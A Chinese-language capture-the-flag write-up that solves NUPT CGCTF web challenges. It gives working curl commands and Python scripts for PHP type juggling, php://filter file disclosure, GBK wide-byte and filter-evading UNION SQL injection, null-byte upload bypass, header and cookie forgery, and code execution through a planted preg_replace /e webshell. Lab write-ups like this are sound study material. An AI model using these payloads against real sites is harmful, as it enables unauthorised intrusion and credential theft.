问题
签到题
点开题目右键检查元素可以找到在a标签里面display属性为none的文本。
md5 collision
源代码要求两个输入的md5一致。
# Source
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
echo -n QNKCDZO | md5sum
# 0e830400451993494058024219903391 -
巧合在于QNKCDZO
的md5恰好是一个科学记数法表示的字符串而且值为0。使用==
时,如果是这类字符串和一个数字比较,或者两个都是这类字符串,PHP会把这类字符串转换成浮点数。如果恰好输入参数a的md5值恰好也是一个科学记数法表示的0,那么验证的逻辑就会被绕过了。
curl http://chinalover.sinaapp.com/web19/?a=s214587387a
javascript里也存在类似的问题,区别在于如果两个都是字符串则不会转换
0e111 == '0e12345' // true
'0E111' == '0e12345' // false
签到2
需要修改输入框的maxlength。
这题不是WEB
页面有个动图,保存下来之后用 hexdump 2.gif -C
发现答案在尾部:
0000a330 b3 5b be c2 0a 16 b3 5f 5e c1 de 96 8e 19 08 00 |.[....._^.......|
0000a340 3b 6e 63 74 66 7b 70 68 6f 74 6f 5f 63 61 6e 5f |;nctf{photo_can_|
0000a350 61 6c 73 6f 5f 68 69 64 33 5f 6d 73 67 7d 20 20 |also_hid3_msg} |
0000a360 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
原来图片可以藏信息,图片的展示也不会受到影响。
层层递进
网页里面有两个iframe,一脸懵b。看了网上的文章发现iframe里面有个SO.html,这里面又有个iframe,里面又是 SO.html。。。最里面有个404.html,答案在注释里。不是很懂这个题目的意思,可能是暗链一类的?因为除了第一个SO.html以外,即使把下面那个网页都删掉之后,都不可见。
单身二十年
curl http://chinalover.sinaapp.com/web8/search_key.php
这个页面通过window.location
让浏览器加载另一个url了,所以不能马上看到答案。
<script>window.location="./no_key_is_here_forever.php"; </script>
key is : nctf{yougotit_script_now}
单身一百年也没用
flag在响应的header里面,而且点击找key的连接会302。
php decode
# Source
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>
貌似执行一下就可以了;解码之后的内容是phpinfo();flag:nctf{...}
。暂时不清楚这段编码的作用。
文件包含
包含当前页面,使用base64编码避免递归,然后可以再base64解码。
curl http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
PHP 的文件处理函数允许使用 php scheme 读取自定义的I/O流。
Cookie
curl的结果中有个Set-Cookie: Login=0,server也许是通过这个Login的值判断有没有登录。这里的提示是cookie和session不一致。
curl http://chinalover.sinaapp.com/web10/index.php -v -H 'Cookie: Login=1'
MYSQL
提示是robots.txt,可以在robots.txt找到源代码
curl http://chinalover.sinaapp.com/web11/robots.txt
# Source
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
虽然把id
的值转换为整数类型,但是在比较逻辑里又使用了原来的参数,所以这里可以输入一个浮点数绕过
curl http://chinalover.sinaapp.com/web11/sql.php?id=1024.1
GBK Injection
题目的响应直接给出来SQL语句。查了下资料,GBK注入又叫宽字节注入;GBK注入的关键在于两点:
- 后台代码自动对引号转义,比如PHP addslashes给
'
和"
加上反斜杠\
; - 后台和MySQL之间的连接使用GBK编码传输数据。
它的原理是:注入的内容需要包含一个范围在[0x81, 0xfe]
的字符(这是GBK的第一字节,见wiki)和(单/双)引号。因为上述两点的关系,第一字节和反斜杠会被MySQL解析为一个GBK编码的汉字,本应被转义的引号就可以发挥作用了。
这里记录一下第一次手工注入,过程有亿点小激动 :laughing:
# encoding=utf-8
import time
import requests
from urllib.parse import unquote as u, quote as q
# 把count(*)改成database()直接出schema的名字,不过这个名字在这里好像没啥用
# 1. 当前schema有多少张表
count_tables = """' union select 25252, count(*) from information_schema.tables where table_schema=database() -- a"""
url = 'http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' + q(count_tables)
print(requests.get(url=url).text)
# 有6张表
# 2. 当前schema有哪些表
for i in range(6):
get_table_names = f"""' union select 25252, table_name from information_schema.tables where table_schema=database() limit 1 offset {i} -- a"""
url = 'http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' + q(get_table_names)
print(requests.get(url=url).text)
time.sleep(1)
# 3. 当前schema一共有多少列
count_columns = """' union select 25252, count(*) from information_schema.columns where table_schema=database() -- a"""
url = 'http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' + q(count_columns)
print(requests.get(url=url).text)
# 有12列
# 4. 当前schema有哪些列
for i in range(12):
get_table_names = f"""' union select 25252, table_name from information_schema.columns where table_schema=database() limit 1 offset {i} -- a"""
url = 'http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' + q(get_table_names)
print(requests.get(url=url).text)
time.sleep(1)
# 已经看到有两个列叫做flag了
# 5. 拿到flag
get_flag = """' union select 25252, flag from ctf4 -- a"""
url = 'http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%81' + q(get_flag)
print(requests.get(url=url).text)
/x00
源代码要求1. 正则表达式开头到结尾只能包含1-9 2.同时包含#biubiubiu
# Source
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
题目有提示\x00
。egrep
会为\x00
匹配字符结束$
;需要通过percent encoding传输\x00
:
curl http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=12222%00%23biubiubiu
bypass again
# Source
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
前面的两个float number format string应该派上用场了。
curl 'http://chinalover.sinaapp.com/web17/index.php?a=QNKCDZO&&b=s214587387a'
变量覆盖
<!-- Source -->
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>
extract函数覆盖命名空间:
curl 'http://chinalover.sinaapp.com/web18/' -X POST -d 'pass=kke&thepassword_123=kke'
伪装者
<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<pre><br><br><br><br>* * * * * * * * * * * * * * * * * * * * * * * * * *<br><br> 管理系统只能在本地登陆<br><br> 本系统外部禁止访问<br><br>* * * * * * * * * * * * * * * * * * * * * * * * * *<br></pre>不是本地登陆你还想要flag?
</html>
这里X-Forwarded-For
不OK,要用Client-Ip
:
curl http://chinalover.sinaapp.com/web4/xxx.php -v -H 'Client-Ip: 127.0.0.1'
上传绕过
# 随便上传一个文本文件
echo 25252 > temp.txt
curl http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/upload.php -X POST -F "dir=/uploads/" -F "file=@temp.txt"
# 提示只接收图像格式
# 那就上传一个图片吧
echo 25252 > temp.png
curl http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/upload.php -X POST -F "dir=/uploads/" -F "file=@temp.png"
# 提示要上传一个php文本
# 那就上传文本吧
cp temp.png temp.php
curl http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/upload.php -X POST -F "dir=/uploads/" -F "file=@temp.php"
# 又提示只接受图像
# 看样子这个判断逻辑是基于文件拓展名,不会去看文件的内容
注意到参数dir的值是否以斜杠结尾会影响文件的名字:
ubuntu@VM-0-5-ubuntu:~/kayoch1n.github.io$ curl http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/upload.php -X POST -F "dir=/uploads/25252/" -F "file=@temp.png"
<html><head><meta charset="utf-8" /></head><body>
Array
(
[0] => .png
[1] => png
)
Upload: temp.png<br />Type: image/png<br />Size: 0.005859375 Kb<br />Stored in: ./uploads/8a9e5f6a7a789acb.phparray(4) {
["dirname"]=>
string(15) "./uploads/25252"
["basename"]=>
string(8) "temp.png"
["extension"]=>
string(3) "png"
["filename"]=>
string(4) "temp"
}
<br>必须上传成后缀名为php的文件才行啊!<br></body>
</html>ubuntu@VM-0-5-ubuntu:~/kayoch1n.github.io$
ubuntu@VM-0-5-ubuntu:~/kayoch1n.github.io$
ubuntu@VM-0-5-ubuntu:~/kayoch1n.github.io$ curl http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/upload.php -X POST -F "dir=/uploads/25252" -F "file=@temp.png"
<html><head><meta charset="utf-8" /></head><body>
Array
(
[0] => .png
[1] => png
)
Upload: temp.png<br />Type: image/png<br />Size: 0.005859375 Kb<br />Stored in: ./uploads/8a9e5f6a7a789acb.phparray(4) {
["dirname"]=>
string(9) "./uploads"
["basename"]=>
string(13) "25252temp.png"
["extension"]=>
string(3) "png"
["filename"]=>
string(9) "25252temp"
}
<br>必须上传成后缀名为php的文件才行啊!<br></body>
</html>ubuntu@VM-0-5-ubuntu:~/kayoch1n.github.io$
也许代码通过 basename 判断文件类型,应该在dir参数上面做点文章?谷歌说可以给dir参数加null字节试试(想起前面有个 ereg
函数会把null字节当成字符串结束的标志)。
谷歌给出的参考做法是先令dir=/uploads/xxx.phpa
、用burpsuite把结尾的a改成\x00
。无奈网络不好,158M的社区版要下9小时’_’|||。另外curl不能在-F
指定一个null字节,-F
和-d
也不能同时使用;比如下面的命令并不能让参数带上null字节:
curl www.qq.com -X POST -F "dir=/uploads/25252.php`echo -ne '\x00'`"
# bash: warning: command substitution: ignored null byte in input
# 这是因为bash用C字符串存变量 https://stackoverflow.com/a/42493691/8706476
用python可以传输null字节:
#!/usr/bin/python3
# temp.py
import requests
with open(f'temp.png', mode='rb') as f:
url = 'http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/upload.php'
rsp = requests.post(url=url, data=dict(dir='/uploads/25252.php\x00'), files=dict(file=f))
rsp.encoding = 'utf8'
print(rsp.status_code)
print(rsp.text)
SQL注入1
不看源代码试不出来
# Source
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
因为用了trim,要在--
空格的后面加上其它字符,否则注释的作用会失效。
curl http://chinalover.sinaapp.com/index.php -X POST -d 'user=admin%27%29+--+k&pass=Password'
pass check
# Source
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
当输入参数是一个数组时,strcmp会报错并且无返回:
curl http://chinalover.sinaapp.com/web21/ -X POST -d 'pass[]='
起名字真难
源代码要求1. 输入不是1-9;2.等于54975581388
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
可以留意到比较范围是1-9,少了0,可能是因为答案需要十六进制前缀0x的关系;在使用==比较的时候,php会将十六进制的数字字符串转型为整数。刚好 54975581388 的16进制表示0xccccccccc
没有1-9。
curl http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc
SQL Injection
先通过curl看一下有没有源代码curl http://chinalover.sinaapp.com/web15/index.php -v
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
一开始以为目标是注释掉SQL的pass条件,试了几次没有结果之后谷歌了一下,发现目标搞错了。htmlentities
始终会把单引号用 html 实体编码,因此无法通过输入单引号来实现闭合的目的。
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\'
一番谷歌之后,留意到SQL语句有4个单引号。输入单引号闭合第一个的方法行不通,但是可以尝试让后面已经存在的第三个单引号闭合第一个,这就需要用到反斜杠转义来消除第二个单引号,同时使用注释无视最后一个单引号。目标SQL长类似这样:
SELECT * FROM users WHERE name='25252\' AND pass=' or 1=1 -- a';
curl 'http://chinalover.sinaapp.com/web15/index.php?username=25252%5C&password=%20or%201%3D1%20--%20a'
需要注意下因为有stripslashes
的存在,如果get_magic_quotes_gpc()
为1,就需要再多给一个反斜杠;目前来说,get_magic_quotes_gpc()
的值应该是0。
综合
点击链接进入题目,发现页面上有一堆中括号和运算符。第一次看到时我整个人是懵的;谷歌说这叫 jsfuck,是一种混淆JS代码的方式。把页面上面那一堆符号复制一下,打开chrome的控制台粘贴并回车,得到一个字符串1bc29b36f623ba82aaf6724fd3b16718.php
。
看起来这是一个页面的名字。尝试打开看一下 curl http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php -v
。页面提示“TIP在我脑袋里”:仔细看curl的响应会发现多出来一个header名叫 tip
,值为 history of bash
。
貌似类 unix 系统在当前用户文件夹~
下面有一个叫.bash_history
的文件,这个文件由 bash 创建、被用来存储用户执行过的命令。这里既然有提示,就看一下会有啥
curl http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history -v
结果显示有一个记录是 zip -r flagbak.zip ./*
。试着访问一下 flagbak.zip,会发现答案就在这里:
wget http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip
unzip flagbak.zip
cat flag.txt
综合2
页面上有个链接/about.php?file=
,应该是有本地文件包含漏洞。看一下/about.php
的源代码。因为有一些实体编码的内容,所以要先解码。
# about.php
curl http://cms.nuptzj.cn/about.php?file=about.php | perl -MHTML::Entities -pe 'decode_entities($_);' > about.php
源代码的获得真的是事半功倍。about.php里面有一个隐藏目录 loginxlcteam ,但是不知道应该怎么包含它,感觉应该是有点用的样子。先看下其它php的源码:
# index.php
curl http://cms.nuptzj.cn/about.php?file=index.php | perl -MHTML::Entities -pe 'decode_entities($_);' > index.php
# so.php
curl http://cms.nuptzj.cn/about.php?file=so.php | perl -MHTML::Entities -pe 'decode_entities($_)' > cgctf/so.php
源码显示,so.php要带上一个http头才能访问curl http://cms.nuptzj.cn/so.php?id=1 -H 'User-Agent: Xlcteam Browser'
。而且这里要连接数据库,可能就存在SQL注入漏洞:
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
# mysql_real_escape_string 虽然给$id加了反斜杠,但是下面的sql语句没有用到引号,因此在利用这个SQL注入漏洞的时候不需要闭合引号。
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
然后再次通过about.php文件包含获得antiinject的源码。antiinject函数的作用是将一些字符串替换为空字符,完全可以用一种叫做“双写”的技巧绕过;或者对于$keyword
里面排在空格
之前的字符串插入一个空格
:
<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>
开心!sql注入发现!记录一下手工注入的过程:
# 有多少列?4列
# quote("25252\tun ion\tsel ect\t1,2,3,4")
curl -X POST -H 'User-Agent: Xlcteam Browser' http://cms.nuptzj.cn/so.php -d 'soid=25252%09un%20ion%09sel%20ect%091%2C2%2C3%2C4'
# 当前schema的名字是?sae-exploitblog
# 好像获得schema名字也没啥用
# quote("25252\tun ion\tsel ect\t1,database(),3,4")
curl -X POST -H 'User-Agent: Xlcteam Browser' http://cms.nuptzj.cn/so.php -d 'soid=25252%09un%20ion%09sel%20ect%091%2Cdatabase%28%29%2C3%2C4'
# 遍历表名。一共有4张表 admin, filename, hackerip, message
# quote("25252\tun ion\tsel ect\t1,table_nanameme,3,4\tfr om\tinfoorrmation_schema.tables\twhere\ttable_schema\tin\t(database())\tlimit\t1\toffset\t0")
curl -X POST -H 'User-Agent: Xlcteam Browser' http://cms.nuptzj.cn/so.php -d 'soid=25252%09un%20ion%09sel%20ect%091%2Ctable_nanameme%2C3%2C4%09fr%20om%09infoorrmation_schema.tables%09where%09table_schema%09in%09%28database%28%29%29%09limit%091%09offset%090'
# 遍历列名。一共有14列
# admin(id, username, userpass)
# filename(id, name, path)
# hackerip(id, qq, mail, ip)
# message(id, nice, say, display)
# quote("25252\tun ion\tsel ect\t1,table_nanameme,column_nanameme,4\tfr om\tinfoorrmation_schema.columns\twhere\ttable_schema\tin\t(database())\tlimit\t1\toffset\t0")
curl -X POST -H 'User-Agent: Xlcteam Browser' http://cms.nuptzj.cn/so.php -d 'soid=25252%09un%20ion%09sel%20ect%091%2Ctable_nanameme%2Ccolumn_nanameme%2C4%09fr%20om%09infoorrmation_schema.columns%09where%09table_schema%09in%09%28database%28%29%29%09limit%091%09offset%090'
# 遍历 admin 表
# admin 102 117 99 107 114 117 110 116 117
# quote("25252\tun ion\tsel ect\t1,usernanameme,userppassass,4\tfr om\tadadminmin\tlimit\t1\toffset\t0")
curl -X POST -H 'User-Agent: Xlcteam Browser' http://cms.nuptzj.cn/so.php -d 'soid=25252%09un%20ion%09sel%20ect%091%2Cusernanameme%2Cuserppassass%2C4%09fr%20om%09adadminmin%09limit%091%09offset%090'
# 密码比较奇怪,看一下是什么类型的?
# quote("25252\tun ion\tsel ect\t1,column_type,column_nanameme,4\tfr om\tinfoorrmation_schema.columns\twhere\ttable_schema\tin\t(database())\tlimit\t1\toffset\t2")
curl -X POST -H 'User-Agent: Xlcteam Browser' http://cms.nuptzj.cn/so.php -d 'soid=25252%09un%20ion%09sel%20ect%091%2Ccolumn_type%2Ccolumn_nanameme%2C4%09fr%20om%09infoorrmation_schema.columns%09where%09table_schema%09in%09%28database%28%29%29%09limit%091%09offset%092'
# 密码 fuckruntu 我怎么感觉你在骂人
# ''.join(map(lambda x: chr(int(x)), '102 117 99 107 114 117 110 116 117'.split()))
现在拿到了用户名admin和密码fuckruntu,但是进行不下去了,不知道下一步该干嘛。最后查了一下资料,原来这里有个后台的管理web,要用这个用户名密码登录进去;而这个web的url和上边的隐藏目录 http://cms.nuptzj.cn/loginxlcteam
有关。
登录之后提示根目录有一个一句话木马 xlcteam.php 。看一下源代码:
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>
array_walk 的作用和python的map
类似;这个php的大意是从http参数里面取出www的值并当作一个callback函数应用到数组arr。
- 这个callback的第一个参数是
'|.*|e'
,第二个参数是表单的wtf的值。 '|.*|e'
是一个能够匹配所有非换行字符串PCRE正则表达式;- 两个竖杠是delimiter,其实用斜杠也可以的;
e
是一个表达式修饰符,在php5.5以前,如果preg_replace
的表达式使用了e修饰符,替换的结果就会被当作可变函数来执行。
因此结合 preg_replace
就能执行php函数了:
# PHP 5.3
curl http://cms.nuptzj.cn/xlcteam.php?www=preg_replace -X POST -d 'wtf=phpinfo();'
# 遍历当前目录
curl http://cms.nuptzj.cn/xlcteam.php?www=preg_replace -X POST -d 'wtf=print_r(scandir("."))'
# 似乎只能包含当前目录,不能包含上一级和根目录
# 发现了答案
curl 'http://cms.nuptzj.cn/about.php?file=恭喜你获得flag2.txt'
SQL注入2
# Source
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
让第一个字句返回结果为空,然后才能用上第二个字句的结果;类似于编程语言中逻辑运算符的求值策略,short circuit evaluation
curl http://4.chinalover.sinaapp.com/web6/index.php -X POST -d 'user=1%27+union+select+md5%28%2725252%27%29+--+m&pass=25252'
file_get_contents
# Source
<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
echo $nctf;
}-->
php scheme input
从 _POST
读取内容:
curl http://chinalover.sinaapp.com/web23/?file=php://input -X POST -d 'meizijiu'
变量覆盖
响应里面的注释有提示
<!--foreach($_GET as $key => $value){
$$key = $value;
}
if($name == "meizijiu233"){
echo $flag;
}-->
PHP的可变变量:
curl http://chinalover.sinaapp.com/web24/?name=meizijiu233
Notes
- php
strcmp
reports a warning and returns nothing when given an arrayextract
imports variables into and may corrupts the current symbol table from an arrayereg
considers null byte as the end of string,- while null bytes don’t actually terminate a string.
preg_replace
and PCRE- loosely equal comparison
==
- type cast
- hex string to integer
- float number format strings: Why md5(‘240610708’) is equal to md5(‘QNKCDZO’)?
- type cast
- I/O streams along with file functions and include statement
- url taking as argument filename or php’s
php://input
reads from$_POST
php://filter
read
: filterread=convert.base64-encode
can dump current page without recursion
resource
: file
- variable variable allows user to have variable variable names.
mysql_fetch_array
: Fetch a result rowget_magic_quotes_gpc
htmlentities
converts all applicable characters into HTML entities.- not always safe enough to protect from SQLi
- sqli
- single quotes
- comments
--
followed by spaces- appended chars in case of trimming
union
- short circuit evaluation
- GBK injection
- 1st character
- post about php
addslashes
and mysqlcharacter_set_client
- unix
curl
- post an array in form data via
curl
- post an array in form data via
.bash_history
- http
- headers
X-Forwarded-For
Client-Ip
- percent encoding in urls or form data
- python3: urllib.parse.quote and urllib.parse.unquote
- white space “ “:
%20
- null byte “\x00”:
%00
- pound sign “#”:
%23
- single quote “’”:
%27
- right parenthesis “)”:
%29
- hints in
robots.txt
- forge cookie
window.location
loads another document- jsfuck
- headers
- md5
- collision